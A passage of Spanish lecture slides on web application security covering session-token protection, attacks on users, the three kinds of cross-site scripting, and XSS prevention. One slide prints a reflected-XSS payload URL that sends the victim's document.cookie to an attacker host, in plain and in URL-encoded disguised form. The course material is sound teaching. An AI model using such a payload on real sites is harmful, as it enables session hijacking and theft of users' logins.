I Secuestro de tokens o fijacion de tokens mediante cross-sitescripting, peticiones cross-site, etc.
I Dominio de las cookies demasiado amplio.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 49
![Page 50: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/50.jpg)
Proteccion del mecanismo de sesiones (I)
I Generacion de tokens robustos:I Gran numero de posibles valores.I No incluir mas informacion que un identificador.I Buen generador de numeros pseudoaleatorios.I Introducir otros datos como fuente de aleatoriedad: IP y
puerto cliente, cabecera User-Agent, fecha y hora con muchaprecision, clave adicional solo conocida por el servidor yrefrescada en cada arranque.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 50
![Page 51: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/51.jpg)
Proteccion del mecanismo de sesiones (II)
I Proteccion de los tokens:I Trasmision del token solo por HTTPS (cookies solo HTTPS).I Nunca transmitir tokens en la URL.I Cierre de sesion que invalide el token en el servidor.I Expiracion de sesiones por inactividad.I Evitar sesiones simultaneas del mismo usuario.I Proteger aplicaciones de gestion que permitan ver los tokens.I Restringir el dominio y ruta de las cookies.I Evitar vulnerabilidades cross-site scripting.I No aceptar tokens arbitrarios puestos por el usuario.I Iniciar una nueva sesion siempre tras la autenticacion.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 51
![Page 52: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/52.jpg)
Proteccion del mecanismo de sesiones (III)
I Tokens distintos para cada pagina.
I Sistema de logs, monitorizacion y alertas.
I Cierre de sesion ante cualquier tipo de error en la entrada delusuario.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 52
![Page 53: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/53.jpg)
Parte VII
Ataques a usuarios
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 53
![Page 54: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/54.jpg)
Ataques a usuarios
I Existe un conjunto de tecnicas cuyo objetivo es atacar a otrosusuarios de una aplicacion Web:
I Cross-site scripting.I Induccion de acciones del usuario:
I On Site Request Forgery.I Cross-Site Request Forgery.I UI Redress
I Captura de datos desde otros dominios.I Fijacion de sesiones.I Redireccion abierta.I Inyeccion de SQL en el cliente.I Ataques al navegador.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 54
![Page 55: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/55.jpg)
Cross-site scripting
I Tres tipos principales de ataque:I Reflejado.I Almacenado.I Basado en DOM.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 55
![Page 56: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/56.jpg)
Cross-site scripting reflejado
I Se produce cuando una aplicacion muestra directamente datosenviados como parametros de la peticion por el usuario.
I Por ejemplo, paginas de error con mensaje recibido comoparametro:
http://example.com/Error?message=Sorry%2c+an+error+occurred
I El cliente puede inyectar codigo Javascript que se ejecutara enel navegador.
http://example.com/Error?message=<script>var+i=new+Image;+i.src="http://mdattacker.net/"%2bdocument.cookie;</script>
I Los enlaces se pueden disimular con codificacion URL:
http://example.com/Error?message=%3c%73%63%72%69%70%74%3e%76%61%72%2b%69%3d%6e%65%77%2b%49%6d%61%67%65%3b%20%2b%69%2e%73%72%63%3d%22%68%74%74%70%3a%2f%2f%6d%64%61%74%74%61%63%6b%65%72%2e%6e%65%74%2f%22%25%32%62%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 56
![Page 57: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/57.jpg)
Cross-site scripting reflejado
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 57
![Page 58: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/58.jpg)
Cross-site scripting reflejado
I Envıo del enlace malicioso al usuario:I Por correo electronico.I En mensajerıa instantanea.I Desde un sitio Web de terceros o del atacante.I Mediante redes de publicidad.I Mediante acciones enviar a un amigo o informar al
administrador en el sitio Web atacado.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 58
![Page 59: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/59.jpg)
Cross-site scripting almacenado
I El atacante introduce texto en la base de datos del sitio Webque posteriormente se muestra a otros usuarios.
I El atacante puede inyectar codigo Javascript en dicho texto,que se ejecutara en el navegador de otros usuarios del sistema,incluso de administradores.
I Mas peligroso que el reflejado, porque el atacado estaautenticado y no es necesario inducirlo a activar ningun enlace.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 59
![Page 60: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/60.jpg)
Cross-site scripting almacenado
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 60
![Page 61: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/61.jpg)
Cross-site scripting basado en DOM
I El servidor no transmite los datos del usuario de vuelta, peroen la pagina hay codigo Javascript que los toma de la URLpedida y los muestra con document.write().
I Ataque similar en parte a cross-site scripting reflejado.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 61
![Page 62: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/62.jpg)
Cross-site scripting
I Posibles acciones de ataque:I Pintadas virtuales (defacement).I Inyeccion de troyanos y phishing.I Induccion de acciones por el usuario.I Aprovechar privilegios: captura de texto de la funcion
autocompletar, aplicaciones con restricciones de seguridadreducidas, uso fraudulento de controles ActiveX.
I Escalado del ataque en el lado del cliente: captura de teclado,historial de navegacion, escaneo de puertos en la red local delusuario, etc.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 62
![Page 63: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/63.jpg)
Prevencion de cross-site scripting
I Validar la entrada del usuario:I Restricciones de longitud, conjunto de caracteres, expresiones
regulares.
I Validar la salida:I Reemplazo de caracteres reservados de HTML por referencias
a entidades.I Eliminar puntos peligrosos de insercion (codigo Javascript,
cabeceras de HTTP, atributos de elementos HTML).I Donde el usuario pueda editar HTML, limitar las marcas que
pueda utilizar o utilizar lenguajes de marcas alternativos.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 63
![Page 64: Seguridad en Aplicaciones Web - index-of.co.ukindex-of.co.uk/Tutorials/seguridad.pdf · I Transmisi on vulnerable de credenciales. I Funcionalidad de cambio de contrasena.~ I Funcionalidad](https://reader034.fdocuments.in/reader034/viewer/2022042107/5e873959f86cc14225615e5d/html5/thumbnails/64.jpg)
Referencias
I Dafydd Stuttard, Marcus Pinto. The Web ApplicationHacker’s Handbook. 2nd ed. John Wiley & Sons
I Acceso en SafariI Capıtulos 1, 5, 6, 7, 8, 9 y 12.
Aplicaciones Web (2016/17) Seguridad en Aplicaciones Web 64